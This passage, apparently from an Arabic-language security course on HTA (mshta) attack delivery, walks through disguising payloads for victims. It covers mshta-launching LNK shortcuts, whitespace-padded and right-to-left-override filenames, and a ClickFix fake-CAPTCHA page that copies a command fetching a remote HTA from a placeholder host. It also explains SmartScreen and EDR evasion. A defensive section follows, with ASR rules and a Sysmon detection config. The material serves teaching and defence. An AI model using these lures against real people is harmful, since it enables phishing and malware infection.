/var/www/html/Q4-Report.hta: الهدف. لاحظ تغيير الاسم من 06-decoy.hta إلى Q4-Report.hta، هذا اختيار هندسة اجتماعية (اسم يبدو شرعيا).
شرح sudo systemctl reload nginx
systemctl: أداة systemd (نظام التهيئة الرسمي في Ubuntu/Debian الحديث) للتحكم في الخدمات.
reload لا restart: — reload: يُرسل إشارة SIGHUP للخدمة → تعيد قراءة إعدادات التهيئة بدون قطع الاتصالات النشطة. المستخدمون الحاليون لا يشعرون بشيء. — restart: يوقف الخدمة تماما ثم يُشغّلها من جديد → يقطع جميع الاتصالات لبضع ثوان. — قاعدة: reload عند تعديل إعدادات، restart عند تحديث البرنامج نفسه أو حدوث خطأ. هنا نضيف ملفا فقط داخل الـ docroot، ولا حتى نحتاج reload بالمعنى الفني (nginx يقرأ الملفات من القرص عند كل طلب)، لكن السطر تعليمي/احتياطي للتأكد من إعادة تحميل أي mime.types مضاف.
ما هو /var/www/html؟
الـ docroot الافتراضي لـ nginx و Apache على Ubuntu/Debian. أي ملف بداخله يصبح متاحا على http://<server>/<filename> مباشرة.
بدائل شائعة: — /usr/share/nginx/html/ (على CentOS/RHEL). — أي مسار يحدده المدافع في server { root /path/... } داخل /etc/nginx/sites-available/. — في هجمات حقيقية: يُنصح بمسار مخصص لكل حملة لعزل السجلات.
لماذا Chrome 100+ يحذّر من .hta؟
ثلاث آليات مجتمعة تُشغّل التحذير:
Google Safe Browsing: قائمة سوداء ديناميكية. Chrome يُرسل تجزئة (hash) الرابط إلى خدمة Google للتحقق. أي URL يقدم امتدادا خطيرا معروفا (.hta، .scr، .pif) يُعلَّم فورا.
قائمة "Dangerous file types": Chrome يحتفظ داخليا بقائمة صريحة لامتدادات خطيرة. منذ Chrome 91 (2021) أضاف .hta، ومنذ Chrome 100 (2022) شدد الرسالة إلى "This file may be unsafe".
فحص MIME type: إذا أرسل الخادم Content-Type: application/hta أو application/octet-stream مع ملف .hta، Chrome يفحص "magic bytes" ويتحقق. الحيل مثل تسمية الملف .txt وإرسال MIME خاطئ لا تنجح، Chrome يعتمد على الامتداد في URL.
New-Object: cmdlet PowerShell لإنشاء نسخة (instance) من كائن.
-ComObject: يخبر PowerShell أن الكائن ليس .NET بل COM (Component Object Model).
ما هو COM؟ بروتوكول قديم من مايكروسوفت (منذ 1993) يُتيح للبرامج استدعاء كائنات مكتوبة بأي لغة (C++, VB, Delphi...) بشكل موحد. مايكروسوفت تُصدّر مئات الكائنات: Excel، Word، Outlook، Windows Explorer، جميعها قابلة للأتمتة عبر COM.
WScript.Shell: كائن محدد تُصدّره مكتبة Windows Script Host. يوفر: — إنشاء اختصارات (.lnk). — قراءة/كتابة Registry. — تشغيل برامج (.Run() مثل ما رأيناه في HTA). — إظهار Popups (.Popup()).
لماذا هذا الكائن للاختصارات؟ لأنه واجهة رسمية موثقة من مايكروسوفت لإنشاء ملفات LNK بدون الحاجة لكتابة تنسيق الملف الثنائي (binary) يدويا.
شرح $Shortcut = $WshShell.CreateShortcut(...)
الاستدعاء يُعيد كائنا من نوع IWshShortcut (واجهة COM موثقة).
مهم: إذا كان الملف موجودا بالمسار المحدد، تُحمّل خصائصه؛ وإلا يُنشئ كائنا فارغا في الذاكرة فقط. لا يُكتب أي شيء للقرص حتى تستدعي .Save().
شرح كل خاصية بالتفصيل
TargetPath = "$env:SystemRoot\System32\mshta.exe"
المسار الكامل للبرنامج الذي سيُنفَّذ عند النقر المزدوج.
$env:SystemRoot = C:\Windows عادة (متغير بيئة Windows).
النص الذي يظهر في tooltip عند مرور الفأرة فوق الأيقونة.
يُساعد على تعزيز الوهم.
WorkingDirectory = "$env:USERPROFILE"
المجلد الذي يُعتبر "الحالي" (Current Directory) لحظة تشغيل البرنامج.
$env:USERPROFILE = C:\Users\<username> عادة.
مهم لبرامج تبحث عن ملفات نسبية.
WindowStyle = 7
كيف تظهر نافذة البرنامج عند التشغيل. القيم: — 1 = Normal (طبيعي، الحجم الافتراضي). — 3 = Maximized (ملء الشاشة). — 7 = Minimized (مصغّر في شريط المهام).
لماذا 7 هنا؟ لإخفاء نافذة mshta قدر الإمكان، الضحية ترى وميضا سريعا فقط في شريط المهام.
Hotkey (غير مذكور لكن مهم)
سلسلة مثل "Ctrl+Alt+F" تُسجّل اختصار لوحة مفاتيح عام.
خطر: إذا كتبها الضحية بالخطأ في أي مكان، يُشغَّل الاختصار.
يُتجنّب في الحملات الحقيقية لأنه قد يُشغَّل عرضا وينكشف.
شرح $Shortcut.Save()
الاستدعاء الذي يكتب فعليا ملف .lnk إلى القرص بالمسار الذي حدّدناه في CreateShortcut.
قبل هذا السطر، كل التعديلات في الذاكرة فقط.
صيغة ملف LNK عاليا (ShellLink format): — رأس ثابت (76 بايت) يبدأ بـ 4C 00 00 00 (Magic Number = "L"). — LinkTargetIDList: قائمة معرّفات Shell (PIDL) لكل جزء من المسار. — LinkInfo: معلومات وحدة التخزين (Serial Number، Drive Type). — سلاسل نصية (StringData): TargetPath, Arguments, IconLocation, Description, WorkingDir. — كتلة إضافية (ExtraData) لخصائص مثل EnvironmentVariableDataBlock.
التنسيق موثق في [MS-SHLLINK] لكن معقد؛ لذا يُفضَّل استخدام COM.
متغيرات البيئة $env: في PowerShell
PowerShell يوفر "PSDrive" اسمه env: يعرض متغيرات البيئة كمُتغيرات:
المتغير
القيمة المعتادة
الاستخدام
$env:USERPROFILE
C:\Users\<user>
مجلد المستخدم
$env:SystemRoot
C:\Windows
مجلد Windows
$env:ProgramFiles
C:\Program Files
البرامج 64-bit
${env:ProgramFiles(x86)}
C:\Program Files (x86)
البرامج 32-bit
$env:APPDATA
C:\Users\<user>\AppData\Roaming
إعدادات تُنقل مع المستخدم
$env:LOCALAPPDATA
C:\Users\<user>\AppData\Local
إعدادات محلية للجهاز
$env:TEMP
...\AppData\Local\Temp
ملفات مؤقتة
$env:COMPUTERNAME
اسم الجهاز
تحديد الجهاز
$env:USERDOMAIN
اسم النطاق
Active Directory
استخدامها يجعل السكربت متحرّكا، يعمل على أي جهاز Windows بدون تعديل مسارات ثابتة.
لماذا LNK يتجاوز الحماية مبدئيا؟
LNK ليس EXE: لا يحتوي على كود قابل للتنفيذ، فقط بيانات وصفية تشير لبرنامج شرعي. لا محرّك AV تقليدي يعتبره خبيثا في حدّ ذاته.
SmartScreen يفحص التنزيلات لا LNKs: SmartScreen يعتمد على "reputation" الملفات القابلة للتنفيذ. LNK بلا سمعة لكن أيضا بلا خطر معروف → يمر.
البرنامج المُنفَّذ موثوق: mshta.exe مُوقّع من مايكروسوفت، مُدرج في قائمة Windows Trusted Installer. أي رقابة سلوكية ترى فقط "Microsoft binary launched".
Gmail و Outlook يقبلان LNK داخل ZIP: بعكس .hta أو .exe.
التطوّرات الأخيرة (2023-2025):
Windows 11 22H2+ يعرض تحذير SmartScreen عند تشغيل LNK محمّل من الإنترنت (MOTW).
Defender ATP يكشف "LNK with mshta target" كسلوك مشبوه منذ 2023.
لكن نسبة النجاح لا تزال 40-60% في البيئات غير المُحدَّثة.
pylnk3: مكتبة Python طرف ثالث تُنشئ/تقرأ ملفات LNK بدون الاعتماد على COM (لأن COM حصريا لWindows، لكن Python على WSL يعمل بلينكس).
مشكلة --break-system-packages على Ubuntu 23.04+: — PEP 668 يجعل pip install يفشل على مستوى النظام لتجنب التعارض مع apt. — الحلول: — pip3 install --user pylnk3 (تثبيت في ~/.local/). — إنشاء بيئة افتراضية: python3 -m venv .venv && source .venv/bin/activate. — إجبار: pip3 install --break-system-packages pylnk3 (غير مستحسن).
شرح pylnk3.create() API
تُنشئ كائن pylnk3.Lnk في الذاكرة.
ثم نُعيّن خصائصه (relative_path, arguments, description).
.save() يكتب البايتات وفق تنسيق [MS-SHLLINK] بنفس الطريقة التي تفعلها COM على Windows.
لماذا نُفضّل PowerShell على pylnk3؟
استقرار API: مكتبة WScript.Shell من مايكروسوفت لم تتغير منذ 2001. pylnk3 غيّر أسماء الحقول عدة مرات (relative_path كان path سابقا).
بدون تبعيات خارجية: PowerShell جاهز على كل Windows. pylnk3 يحتاج Python + pip + إنترنت.
موثوقية الحقول المتقدمة: IconLocation و WindowStyle و Hotkey أضمن في COM.
يعمل على الهدف نفسه: إذا كنا على الجهاز الضحية (الجهاز المُختبَر)، PowerShell جاهز فورا.
-p: "parents". يُنشئ المجلدات الوسيطة إذا كانت مفقودة، ولا يُخطئ إذا كان المجلد موجودا.
/tmp/pack: مجلد مؤقت (/tmp يُحذف عند إعادة تشغيل النظام).
شرح cp ~/lab/hta/06-decoy.hta "..."
ينسخ الملف مع تغيير الاسم إلى: Q4-Report.pdf + مسافات كثيرة + .hta.
الحيلة: الاسم الحقيقي Q4-Report.pdf .hta لكن Windows Explorer: — يعرض عمود "Name" بعرض ثابت. — يقص أي شيء يتجاوز حدّ العرض ويضع .... — إذا كان بين .pdf و .hta مسافات كافية، الأخيرة لا تظهر إطلاقا. — المستخدم يرى Q4-Report.pdf فقط.
البدائل الأكثر خطرا: — محارف Unicode RLO (Right-to-Left Override)، U+202E، تقلب اتجاه النص: — invoice\u202Efdp.hta يُعرض invoiceath.pdf (وهم بصري كامل). — محارف Zero-Width Space (U+200B) لإخفاء أجزاء.
شرح cd /tmp/pack && zip -r /tmp/Documents.zip .
cd /tmp/pack: نغيّر المجلد الحالي حتى تكون مسارات الأرشيف نسبية.
zip: أداة ضغط POSIX.
-r: recursive، يضم كل الملفات والمجلدات الفرعية.
/tmp/Documents.zip: مسار الملف الناتج.
.: كل شيء في المجلد الحالي.
وراثة MOTW في ZIP (تغيير نوفمبر 2022)
MOTW = Mark of the Web:
علامة تُخزَّن كـ Alternate Data Stream (file.ext:Zone.Identifier) على NTFS.
تحمل قيمة ZoneId=3 = "Internet Zone" لكل ملف مُنزَّل من الإنترنت.
قبل نوفمبر 2022:
ZIP يحمل MOTW على الأرشيف نفسه.
لكن الملفات المستخرجة داخله لا ترث العلامة.
المهاجم يُغلّف EXE في ZIP، الضحية يستخرج، Windows Defender لا يتحقق بصرامة.
CVE-2022-41091: ثغرة شهيرة استغلها Emotet و Qakbot.
بعد نوفمبر 2022 (Patch Tuesday):
كل ملف يُستخرج من ZIP يحمل MOTW الأصلي.
عند تشغيله، SmartScreen يفحصه.
Defender يفحص بجدية أعلى.
Office يفتحه في Protected View.
الأثر على HTA:
HTA مع MOTW لا يُشغَّل تلقائيا؟ خطأ شائع، mshta لا يحترم MOTW في التنفيذ افتراضيا.
لكن Windows 11 22H2+ أضاف تحذيرا "This file came from the internet".
نسبة النجاح 30-45% لا تزال قابلة للتحقق في بيئات غير مُحدَّثة.
🎯 الطريقة 5: ClickFix
كتلة الكود
html
<html><head><style>body{font-family:Segoe UI;padding:40px;text-align:center;}</style></head><body><h2>To verify you are human, please:</h2><ol><li>Press <kbd>Win + R</kbd></li><li>Press <kbd>Ctrl + V</kbd></li><li>Press <kbd>Enter</kbd></li></ol><script>
var cmd = "mshta https://updates.corp-notes.test/x.hta # \u2713 Not a robot";
navigator.clipboard.writeText(cmd);
</script></body></html>
شرح navigator.clipboard.writeText(cmd)
Web Clipboard API:
واجهة برمجية حديثة (2018+) للوصول لحافظة النظام من JavaScript.
تحلّ محل الطريقة القديمة document.execCommand('copy') (مُهملة).
نموذج الأذونات (Permission Model):
Secure Context إجباري: — يعمل فقط على https://, http://localhost, file://. — على http://example.com عاديا → navigator.clipboard غير مُعرَّف (undefined). — السبب: منع صفحات HTTP من سرقة أو حقن محتوى الحافظة عبر الشبكة.
User Activation مطلوب: — writeText()لا يعمل إذا استُدعي وقت تحميل الصفحة مباشرة. — يجب أن يكون هناك "user gesture" حديث: نقرة، ضغط مفتاح، لمس شاشة. — الحيلة في ClickFix: الصفحة تعرض زرا وهميا "Verify"، عند نقره، السكربت يُنفَّذ ضمن onclick handler، وهو يحمل user activation. — في المثال أعلاه (يُنفَّذ عند التحميل مباشرة)، لن يعمل في Chrome الحديث؛ المهاجم يُضيف زر نقر.
بعض المتصفحات تطلب إذنا صريحا: — Firefox يطلب "Allow this site to access clipboard?". — Chrome يُوافق تلقائيا للكتابة (write) لكن يطلب إذن للقراءة (read).
لماذا حيلة "verify you are human" تنجح اجتماعيا؟
مألوفية CAPTCHA: المستخدم رأى آلاف تحديات "أثبت أنك بشري"؛ يُنفّذ الخطوات آليا.
أوامر تبدو تقنية عادية: Win+R و Ctrl+V أوامر شرعية يعرفها المستخدمون.
لا يوجد ملف تحميل: لا تحذير من المتصفح، لا تفحص Antivirus.
الرسالة "Not a robot" في نهاية الأمر: تُطمئن المستخدم أن ما يلصقه له علاقة بـ CAPTCHA.
إحساس بالإلحاح: "قبل المتابعة، تحقق أنك بشري"، طبيعي في تجربة تصفح 2026.
شرح Win+R
اختصار Windows عالمي يفتح نافذة Run.
Run دايالوج بسيط: يقبل أي أمر أو مسار.
ما يُكتب فيه يُنفَّذ عبر ShellExecute → يبحث في PATH عن البرنامج.
mshta https://... يُشغّل mshta.exe مع الـ URL كوسيط.
لماذا Sysmon و EDR يعميان هنا؟
Sysmon يسجل:
Event ID 1 (Process Create): سيُسجَّل mshta.exe، لكن الأصل (ParentImage) سيكون explorer.exe (لأن Run dialog جزء منه)، لا متصفح أو Word أو Outlook.
Event ID 3 (Network): سيُسجَّل اتصال HTTPS من mshta إلى updates.corp-notes.test.
Event ID 11 (FileCreate): لا شيء، HTA يُنفَّذ في الذاكرة، لا يُحفظ للقرص.
كل يوم آلاف المستخدمين يفتحون Win+R لـ cmd, calc, regedit, mmc.
قواعد كشف "mshta from Run dialog" تُنتج ضجيجا هائلا (false positives).
EDR (CrowdStrike, SentinelOne, Defender ATP):
تعتمد على "process ancestry": browser → office → mshta = مشبوه.
في ClickFix: explorer → mshta = غير مميز عن مسؤول نظام يستخدم mshta لأدواته.
بعض الحلول (Defender ATP منذ 2024) بدأت تُعلّم "Clipboard-pasted mshta with URL" كسلوك مشبوه، لكن التغطية غير موحدة.
شرح # في نهاية الأمر (الحيلة الحقيقية)
الأمر الكامل في الحافظة:
text
mshta https://updates.corp-notes.test/x.hta # ✓ Not a robot
التوضيح الدقيق:
Windows Run dialog لا يفهم # كتعليق. لا cmd.exe ولا PowerShell يعتبرانه بداية تعليق افتراضيا (cmd لا يدعم تعليقات إطلاقا؛ PowerShell يستخدم # لكن Run لا يستدعي PowerShell).
ماذا يحدث فعلا؟ — Run dialog يستدعي ShellExecute بالسلسلة كاملة. — ShellExecute يفصل أول token (mshta) كبرنامج، والباقي كوسائط سطر أوامر (command line). — mshta.exe يستقبل: https://updates.corp-notes.test/x.hta # ✓ Not a robot. — mshta يفحص الوسيط الأول ويحاول التعامل معه كـ URL. — الحيلة: mshta يعتبر أول "token" فقط كـ URL، ويتجاهل الباقي بصمت (أو يمرره كإعدادات لـ HTA لكن الـ HTA لا يحتاجها). — المسافات + # تعمل كـ "padding بصري"، تدفع النص "✓ Not a robot" ليكون واضحا للضحية في نافذة Run.
سبب الحيلة الفعلي:
ليس هروب من parser، بل خداع بصري:
في نافذة Run الضيقة، الجزء الأول mshta https://... قد لا يظهر كاملا.
الجزء الظاهر للمستخدم في الطرف الأيمن هو # ✓ Not a robot.
المستخدم يرى نصا مطمئنا يبدو كتعليق CAPTCHA.
يضغط Enter بدون قراءة الجزء الأول.
بديل شائع في العينات الحقيقية: استخدام أحرف Unicode مثل \u2028 (Line Separator) أو \u00A0 (Non-Breaking Space) لتشتيت الأنظار.
المدافع يجب أن يعلم: لا يوجد "escape" حقيقي، الأمر ينفَّذ حرفيا. الكشف الوحيد هو مراقبة سلوك (mshta مع URL خارجي من parent = explorer).
📌 خلاصة سريعة للطالب
الطريقة
الأداة الأساسية
نقطة الضعف الرئيسية للمدافع
1: Direct link
HTTP server
Safe Browsing يحذّر
2: LNK
WScript.Shell COM
LNK ليس EXE = يمر AV
3: Protocol handler
mshta:// scheme
محجوب في المتصفحات الحديثة
4: ZIP misleading
ZIP + Explorer truncation
MOTW inheritance بعد 2022
5: ClickFix
Clipboard API + Win+R
المستخدم نفسه ينفّذ = لا توقيع لكشف
✅ اختبر نفسك: القسم 5
اذكر ثلاث طرق لإيصال ملف HTA إلى الضحية، ورتّبها حسب احتمال نجاحها في رأيك مع التبرير.
لماذا يُعدّ ملف .lnk وسيلة توصيل قوية؟ ما الذي يخفيه عن الضحية؟
خدعة المسافات الطويلة قبل الامتداد داخل ملف zip، كيف تعمل، وبأي إعداد في Explorer ترتبط؟
ما الفرق بين إرسال رابط HTA وإرسال الملف كمرفق، من ناحية ما يفحصه الدفاع؟
3/4 = تابع.
القسم 6القسم 6: نظرة الدفاع: Defender، SmartScreen، ASR، Sysmon
Windows Defender: ماذا يرى؟
التكرار
ماذا يرى
الحكم
1: Hello World
HTA بسيط بلا ActiveX
لا شيء (شرعي)
2: Popup
WScript.Shell + Popup
لا شيء (مستخدم عادي)
3: Run calc
Run("calc.exe")
لا شيء (calc شرعية)
4: Download
XMLHTTP + ADODB.Stream + SaveToFile
أحيانا: Trojan:Script/Wacatac.H!ml (ML)
5: Full
تنزيل EXE + تشغيل من %APPDATA%
غالبا: Trojan:Script/Wacatac.H!ml أو HTML/Wacatac.B!cl
6: With decoy
نفس 5 + فتح PDF مسبقا
غالبا: نفس 5 (الطعم لا يخفف حكم ML)
الاستنتاج:Defender يبدأ التنبيه من التكرار 4. التكرارات 1-3 غير مرئية له. المهاجم يستطيع بناء stager صغير جدا بلا XMLHTTP (يستخدم certutil بدلا) ويتجنب أول قواعد الكشف.
SmartScreen: الحقيقة أكثر دقة مما يبدو
SmartScreen يفحص كل الملفات التي تحمل علامة الويب (Mark-of-the-Web)، بشرط أن يكون امتدادها ضمن قائمة الملفات التنفيذية.
القائمة تشمل:
.exe
.msi
.lnk
.hta ← يهمنا هنا
المسار الذي يُطلق تحذير SmartScreen بالضبط:
الملف .hta نزل من متصفح أو بريد
حمل معه Zone.Identifier (أي MOTW)
الضحية ضغطت عليه ضغطتين من داخل Explorer
النتيجة: يظهر التحذير الأصفر "Windows protected your PC". هذا السلوك موجود منذ Windows 8 ولم يتغير.
لكن هناك ثلاث طرق فعلية لتجاوز التحذير في 2026:
الطريق
لماذا يتخطى SmartScreen
1. mshta URL مباشر
الملف لا ينزل إلى القرص: mshta تجلبه من الشبكة وتنفذه في الذاكرة. لا Zone.Identifier = لا SmartScreen.
2. تشغيل mshta من LNK أو سطر أمر
SmartScreen يفحص عند double-click من Explorer فقط. تشغيل mshta.exe من LNK أو cmd يتجاوز الفحص.
3. ثغرات MOTW bypass
CVE-2024-38213 "copy2pwn" مثال حديث: سمحت بإعادة نسخ ملفات بلا نقل MOTW. عائلة كاملة من الثغرات المشابهة تظهر كل سنة.
قواعد ASR (Attack Surface Reduction)
قواعد ASR سلوكية داخل Microsoft Defender. أُضيفت منذ Windows 10 1709 (2017).
خمس قواعد تلامس الطريق D بشكل مباشر. حقائق مهمة عنها:
كلها Not Configured افتراضيا، يجب تفعيلها يدويا
تعمل حتى على Windows 11 Home (Defender AV موجود على كل الإصدارات)
الإدارة المركزية والتقارير تحتاج ترخيص Defender for Endpoint E5
GUID
الاسم
تأثيرها على الطريق D
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550
Block executable content from email client and webmail
يمنع .hta من بريد الضحية: الأقوى ضدنا
D3E037E1-3EB8-44C8-A917-57927947596D
Block JS/VBScript from launching downloaded EXE
يمنع التكرار 5/6 من تشغيل wmupdate.exe
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC
Block execution of potentially obfuscated scripts
يتنبه لـ JScript مبهم عبر AMSI
3B576869-A4EC-4529-8536-B80A7769E899
Block Office applications from creating executable content
يمنع Word من إنتاج .hta
D4F940AB-401B-4EFC-AADC-AD5F3C50688A
Block all Office apps from creating child processes
يمنع Word من تشغيل mshta
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B
Block Win32 API calls from Office macros
يمنع macros من ShellExecute → mshta
لتفعيل قاعدتي المستهدفتين ضد الطريق D، من PowerShell بصلاحيات Admin:
الجديد في 2026، MC1266905: توصية جديدة داخل Microsoft Secure Score اسمها "Block outbound traffic from mshta.exe". Public preview بدأ نهاية مارس 2026، GA مايو 2026. توصية اختيارية، لا تُفعل تلقائيا. تحتاج المسؤول أن يفعلها عبر Defender Firewall أو GPO أو Intune.
Sysmon: كشف الطريق D سلوكيا
Sysmon (Sysinternals) أداة تسجّل كل حدث نظام مهم. مع القواعد الصحيحة، يكشف Sysmon أي mshta بشكل شبه فوري.
احفظ كملف sysmon-config-mshta.xml:
xml
<!--
ملاحظة مهمة: Sysmon لا يوسّع متغيرات البيئة (%TEMP%، %APPDATA%) في قيم
الفلاتر — يقارن نصيا فقط. لذلك نستخدم مسارات صريحة.
كذلك: كل <Rule groupRelation="and"> يُقيّد الشرطين داخله معا (AND).
بدون هذا اللف، الشروط تحت groupRelation="or" ستصبح OR واسع = ضجيج.
-->
<Sysmon schemaversion="4.90">
<EventFiltering>
<RuleGroup name="MSHTA_Detect" groupRelation="or">
<ProcessCreate onmatch="include">
<!-- (1) mshta يأخذ URL كوسيط = إشارة قوية جدا -->
<Rule groupRelation="and">
<Image condition="end with">\mshta.exe</Image>
<CommandLine condition="contains any">http:;https:;ftp:</CommandLine>
</Rule>
<!-- (2) mshta تُشغَّل من داخل Office -->
<Rule groupRelation="and">
<ParentImage condition="end with">\winword.exe</ParentImage>
<Image condition="end with">\mshta.exe</Image>
</Rule>
<Rule groupRelation="and">
<ParentImage condition="end with">\excel.exe</ParentImage>
<Image condition="end with">\mshta.exe</Image>
</Rule>
<Rule groupRelation="and">
<ParentImage condition="end with">\outlook.exe</ParentImage>
<Image condition="end with">\mshta.exe</Image>
</Rule>
<!-- (3) mshta تفتح ملفا من مكان مشبوه (مسارات صريحة، ليست متغيرات) -->
<Rule groupRelation="and">
<Image condition="end with">\mshta.exe</Image>
<CommandLine condition="contains any">\AppData\Local\Temp\;\AppData\Roaming\;C:\Users\Public\;C:\Windows\Temp\;C:\ProgramData\</CommandLine>
</Rule>
<!-- (4) mshta تفرّخ عملية مشبوهة (Living-off-the-Land chain) -->
<Rule groupRelation="and">
<ParentImage condition="end with">\mshta.exe</ParentImage>
<Image condition="end with">\powershell.exe</Image>
</Rule>
<Rule groupRelation="and">
<ParentImage condition="end with">\mshta.exe</ParentImage>
<Image condition="end with">\cmd.exe</Image>
</Rule>
</ProcessCreate>
</RuleGroup>
<!-- Event ID 3: Network connection من mshta -->
<RuleGroup name="MSHTA_Network" groupRelation="or">
<NetworkConnect onmatch="include">
<Image condition="end with">\mshta.exe</Image>
</NetworkConnect>
</RuleGroup>
</EventFiltering>
</Sysmon>
ملحق القسم 6: شرح تفصيلي لكل أمر وكتلة كود (نظرة الدفاع)
هذا المرجع مكمل للقسم 6. الهدف: أن تفهم بالضبط ماذا يعني كل اسم، كل مفتاح، وكل سطر، من منظور المدافع. الأسماء الإنجليزية تُترك كما هي.
1) قراءة أسماء كشف Defender: لماذا يظهر Wacatac؟
عندما يكتشف Defender شيئا، يعطيه اسما بصيغة موحدة عمرها أكثر من 15 سنة داخل مايكروسوفت:
text
Type : Platform / Family . Variant ! Suffix
مثال المستند: Trojan:Script/Wacatac.H!ml
الجزء
قيمته هنا
معناه
Type
Trojan
تصنيف عام: قد يكون Trojan, Worm, Backdoor, PWS (Password Stealer), TrojanDownloader, HackTool
Platform
Script
البيئة التي يعمل فيها. Script = محرك سكربتات (JScript/VBScript/PowerShell). قد ترى HTML، Win32، PowerShell، MSIL (.NET).
Family
Wacatac
اسم "العائلة". هنا العائلة عمليا مجموعة توقيعات هيوريستية وليست عائلة برمجية واحدة.
Variant
H
حرف داخلي لتمييز نسخة التوقيع (A, B, C, … H). لا يعني ترتيبا زمنيا صارما.
Suffix
!ml
كيف صدر الحكم.
اللواحق !ml مقابل !cl
!ml = Machine Learning verdict. حكم من نموذج تعلم آلي يعمل في السحابة أو في العميل. لا توجد "قاعدة بايت" واضحة يمكنك رؤيتها.
!cl = Cloud lookup verdict. الحكم جاء من Microsoft Advanced Protection Service (MAPS)، الملف نُقل هاش أو عينة صغيرة إلى سحابة Defender وقارنت المعالجة السحابية.
لواحق أخرى قد تراها: !bit (behavior-based)، !rfn (reputation-based)، !MSR (Microsoft Security Response)، بدون لاحقة أصلا = توقيع ثابت (signature classic).
لماذا Wacatac تحديدا؟
Wacatac عائلة "سلة مهملات" لدى Defender، أي حمولة سكربت أو PE فيها سلوك تنزيل + تنفيذ + إخفاء يميل النموذج لتصنيفها Wacatac.
نتيجة ذلك: معدل False Positive عالي جدا. تقارير كثيرة لمطورين شرعيين (installers, game mods, portable tools) تُعلَّم بـ Wacatac.B!ml. صور واسعة الانتشار على r/antivirus و Malwarebytes forums.
عمليا هذا يفيدك كمدافع بأمرين: (أ) اعتبر Wacatacإشارة للفحص، لا حكما نهائيا. (ب) توقّع تنبيهات مزعجة، وابنِ playbook للتحقق قبل الحجر.
2) SmartScreen و Mark-of-the-Web: التفاصيل التقنية
ما هو Zone.Identifier بالضبط؟
عندما يحمّل متصفح (Edge, Chrome, Outlook, Teams) ملفا، يكتب بجانبه Alternate Data Stream (ADS) اسمه Zone.Identifier. هذا ممكن فقط على NTFS (لا يعمل على FAT32/exFAT/networkfs).
Get-MpPreference يعيد كائنا واحدا فيه عشرات الخصائص.
Select هو alias لـ Select-Object.
-ExpandProperty <Name> = أخرج قيم الخاصية كعناصر منفصلة في الأنبوب بدل إبقائها ملفوفة داخل الكائن الأصلي. هذا مهم هنا لأن الخاصية مصفوفة، بدون -ExpandProperty سترى تمثيلا نصيا واحدا مبتورا.
قارن بين المصفوفتين بالترتيب: العنصر 0 من _Ids مضبوط بالعنصر 0 من _Actions.
3.4 شرح كل قاعدة GUID مذكورة
GUID
الاسم
كيف تعمل تحت الغطاء
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550
Block executable content from email client and webmail
تتشبّك (hook) بـ Outlook COM و Windows Mail و متصفحات الويب (عبر MAPI/URL Zone tags)؛ ترصد كتابة .exe/.dll/.scr/.js/.vbs/.hta/… من هذه المصادر إلى القرص وتمنعها.
D3E037E1-3EB8-44C8-A917-57927947596D
Block JS/VBScript from launching downloaded EXE
تعترض CreateProcess من wscript.exe/cscript.exe/mshta.exe؛ إذا كان الملف الابن يحمل MOTW أو نازلا حديثا، تحجب. تكسر بالضبط سلسلة التكرار 5.
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC
Block execution of potentially obfuscated scripts
تستخدم AMSI (Antimalware Scan Interface). كل تنفيذ سكربت يمر عبر AMSI؛ تُرسل النص المكشوف لـ Defender؛ نموذج ML يقيّم درجة "الغموض" (entropy, string concat, base64, char codes).
3B576869-A4EC-4529-8536-B80A7769E899
Block Office applications from creating executable content
تراقب كتابة ملفات تنفيذية من عمليات Office (Word, Excel, PPT, Outlook). تمنع macro يحفظ .hta في %TEMP%.
D4F940AB-401B-4EFC-AADC-AD5F3C50688A
Block all Office apps from creating child processes
تعترض CreateProcessالصادرة منwinword/excel/powerpnt/outlook.exe. تمنع Office من تشغيل mshta.exe نهائيا.
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B
Block Win32 API calls from Office macros
تحجب Declare Function في VBA: أي محاولة استدعاء Win32 (ShellExecute, URLDownloadToFile, VirtualAlloc) من داخل macro.
4) Sysmon: تشريح الـ XML كامل
4.1 لماذا Sysmon؟
Sysmon (Sysinternals, مايكروسوفت) خدمة نظام تسجّل أحداثا غنية جدا في Event Log تحت Microsoft-Windows-Sysmon/Operational. هي القاعدة الفعلية لأي SOC جاد.
4.2 الترويسة
xml
<Sysmon schemaversion="4.90">
schemaversion = نسخة الـ schema (هيكل الحقول) التي كتبت الإعداد لها.
4.90 هي الحالية مع Sysmon 15.x. لا يجب أن تكون أعلى من نسخة Sysmon المثبتة وإلا يرفض الملف.
لمعرفة النسخ المدعومة: sysmon64 -s (يطبع الـ schema الحالية).
4.3 الحاوية الجذر
xml
<EventFiltering>
كل قواعد الفلترة تُوضع داخل هذه الوسم. كل شيء خارجها يُتجاهل.
groupRelationمهم جدا: يحدد كيف تُدمج قواعد Rule المتعددة داخل نفس نوع الحدث: — or (الشائع) = تنبيه لو انطبقت أي قاعدة. — and = تنبيه لو انطبقت كل القواعد (نادرا مفيد).
4.5 ProcessCreate: Event ID 1
xml
<ProcessCreate onmatch="include">
هذا الحدث الأهم في Sysmon، يُطلق عند كل عملية جديدة، ويحمل أكثر من 20 حقلا (Image, CommandLine, ParentImage, ParentCommandLine, User, Hashes, IntegrityLevel, LogonId, ProcessGuid, …).
onmatch="include" = فقط الأحداث التي تطابق قواعد الداخل تُسجّل. أي شيء آخر يُتجاهل.
onmatch="exclude" = العكس (سجّل كل شيء إلا ما ينطبق).
groupRelation="and" = يجب أن تتحقق كل الشروط معا لهذا الحدث بالذات.
لماذا مهم؟ لو كتبنا <Image> و <CommandLine> مسطّحين تحت <ProcessCreate> مباشرة، لأخذا العلاقة الافتراضية للـ RuleGroup (or هنا)، فيصبح: أي عملية اسمها mshta، أو أي عملية فيها http:، وهذا ضجيج كارثي.
اللف داخل <Rule and> هو كيف تعمل AND داخل ProcessCreate واحد في Sysmon.
Get-WinEvent يقرأ من قنوات Event Log الجديدة (.evtx).
اسم القناة Microsoft-Windows-Sysmon/Operational، هذا المكان الوحيد الذي تظهر فيه أحداث Sysmon. لن تجدها في System أو Application.
-MaxEvents 20 = آخر 20 حدثا.
Where-Object { … } = فلترة (مثل grep). $_ = الحدث الحالي في الأنبوب.
-like "*mshta*" = مطابقة wildcard (* نجمة كما في shell).
Select = Select-Object، يختار الأعمدة للعرض.
